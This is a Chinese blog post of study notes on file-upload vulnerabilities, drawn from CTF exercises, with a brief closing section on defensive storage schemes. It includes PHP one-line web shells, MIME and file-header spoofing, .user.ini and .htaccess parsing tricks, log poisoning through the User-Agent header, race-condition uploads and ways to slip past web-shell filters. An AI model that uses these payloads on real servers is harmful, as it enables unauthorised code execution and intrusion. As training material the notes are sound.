文件上传

一、原理

1.前端验证
2.黑白名单
3.【.user.in】
4.PHP语言特性

检测层面:前端后端
检测内容:文件头、完整性、二次渲染等
检测后端:黑名单白名单、MIME检测等
绕过技巧:多后缀解析、截断、中间件特性、条件竞争等

1.检测前端

比较基础的情况和操作:
在上传文件页面,上传个php脚本的木马
<?php eval($_POST[x];)?>
上传后POST:x=system['ls ../']之类的命令

*后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外,比如内容检查就会用上图片马)如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门

2.检测后端

*MIME验证
HTTP头部字段里Content-Type会告诉接收方(通常是浏览器或客户端)本次响应的数据是什么类型,以便客户端能够正确地解析和展示数据。这个是后端代码验证的。
可以burpsuite抓包,修改Content-Type为png之类的绕过
例子

3.修改.user.ini配置上传

*.htaccess只能在apache用
*.user.ini【是php就能用】
先burpsuite发送如下,上传.user.ini
Content-Disposition:form-data;name="file";filename=".user.ini"
Content-Type:image/png
auto_prepend_file=1.png
而后把.user.ini改掉
Content-Disposition:form-data;name="file";filename="1.png"
Content-Type:image/png
<?php eval($_POST[x]);?>
然后在上传文件这里可以POST,x=system("tac ../flag.php");

4.检测内容

现象:上传完.user.ini后,发现上传
Content-Disposition:form-data;name="file";filename="1.png"
Content-Type:image/png
<?php eval($_POST[x]);?>
的时候不能上传。

js验证+.user.ini+短标签
<? echo '123';??前提是开启配置参数short
<?=(表达式)?>如<?=eval($_POST[x]);?>不需要开启参数设置
<% echo '123';%>前提是开启配置参数asp_tags=off;php7.0.0已被移除
<script language="php">echo '1';</script>不需要修改参数开关
用第二个第四个多一点因为不需要参数配置
比如
image

二、题目案例

1.过滤了中括号

可以<?=eval($_POST{x});?>

2.过滤了分号

可以直接在里面输入命令语句
比如
如果还过滤了php后缀,可以用星号代替
image
用.user.ini包含test.png,让服务器把当前目录下的图片文件当作PHP解析。
image
ctf题这样做下来最后直接访问/upload/,就能找到flag
先上传正常png图片或者图片马绕过前端-burpsuite抓包修改body,尝试上传一句话木马,最后用.user.ini

3.过滤了中括号大括号

直接反引号运算符,效果和函数shell_exec()相同
image

4.js验证+user.ini+短标签+过滤

包含默认日志,日志记录UA头,UA头写后门代码
先上传test png:<?=include"/var/lo"."g/nginx/access.l"."og"?>
再包含.user.ini:auto_prepend_file=test.png
然后在UA写后门代码
image
最后传命令
image

5.验证文件头

正常文件都有个文件头,比如gig是GIF89a
所以可以在某png文件里写上文件头,后面写代码。
具体步骤:
先抓包,上传.user.ini
GIF89a
auto_prepend_file=test.png
再上传个test.png,包含后门代码。比如带日志访问记录的
GIF89a
test png:<?=include"/var/lo"."g/nginx/access.l"."og"?>
最后如第8条传命令

6.过滤的比较多的情况

1.可以换一行传输
2.【.user.ini】可以直接上传没有后缀的文件,再上传png文件
*通配符空格括号之类的不能用:
用include远程地址
比如地址进入首页index.php放后门代码
如果不能带“.”,用IP地址转数字,把上面的IP转换掉
image

image

7.突破上传删除

情况:上传完提示文件找不到
1.可能是什么都删除,要用条件竞争
2.后门代码删除,可以更改代码实现
*条件竞争:可以在上传成功后立马访问,用创建型代码重新新建一个文件

8.二次渲染

上传的文件和本地原本的文件不一样,比如大小。
地址不同
二次渲染完会把图片里的代码弄没掉
思路:把二次渲染后的和本地的图进行HEX对比。然后在共同的部分加入图片再上传。这个手动的方法看运气,可能有检测图片是不是被修改过的。也可以写代码或工具操作。
*文件二次渲染:
1.判断上传前和上传后的文件大小及内容
2.判断上传后的文件返回数据包内容
有jpg和png二次渲染,工具也不一样

9.【.htaccess】

下图写的是jpg,如果是png解析后缀要改成png
image

image

10.变异免杀

比如能上传php文件,但是过滤后门,不能POST eval之类的
可以把代码拆分
image

11.日志包含

构造.user.ini利用条件:上传index.php内容随意
上传.user.ini包含日志:auto_prepend_file=/var/log/nginx/access.log
访问地址带后门UA头写入日志:

三、中间件解析&编辑器安全&CMS文件上传安全

中间件:vulhub靶场练习下。渗透成功的条件都比较苛刻。

CMS思路
找有无upload之类的文件上传。
如果知道是什么CMS,找下有什么可以直接用的已知漏洞

四、安全解析、存储方案

1.目录权限&解码还原

目录权限:给访问用户设置权限,比如只读之类的。这样就算传进去也没用,执行不了
解码还原:比如下图是渲染过64base编码。上传图片->一串BASE64数据;显示图片->解码数据还原
上传有用固定协议:data:image/png;base64,base这样就是不管传什么都按照图片解析,后门就无法使用
image

2.分站存储&OSS对象

分站存储:某个域名专门用来存储,控制域名解析,后门就无法连接
OSS对象:Access控制-OSS对象存储-Bucket对象

*上传php后门报403就是给传不给执行,就是目录权限
*看数据包,抓包分析,看到base64就是解码还原
*看图片地址和域名不一样,就是分站存储
*也是看地址,或者上传后访问下文件,一打开就下载,基本就是OSS

除了目录权限可以绕过,其他无解
这个绕过,要能控制上传文件写入的目录。比如upload下不准访问,可以试放upload平级目录

posted @ 2026-06-21 09:31  CCLluvia  阅读(7)  评论(0)    收藏  举报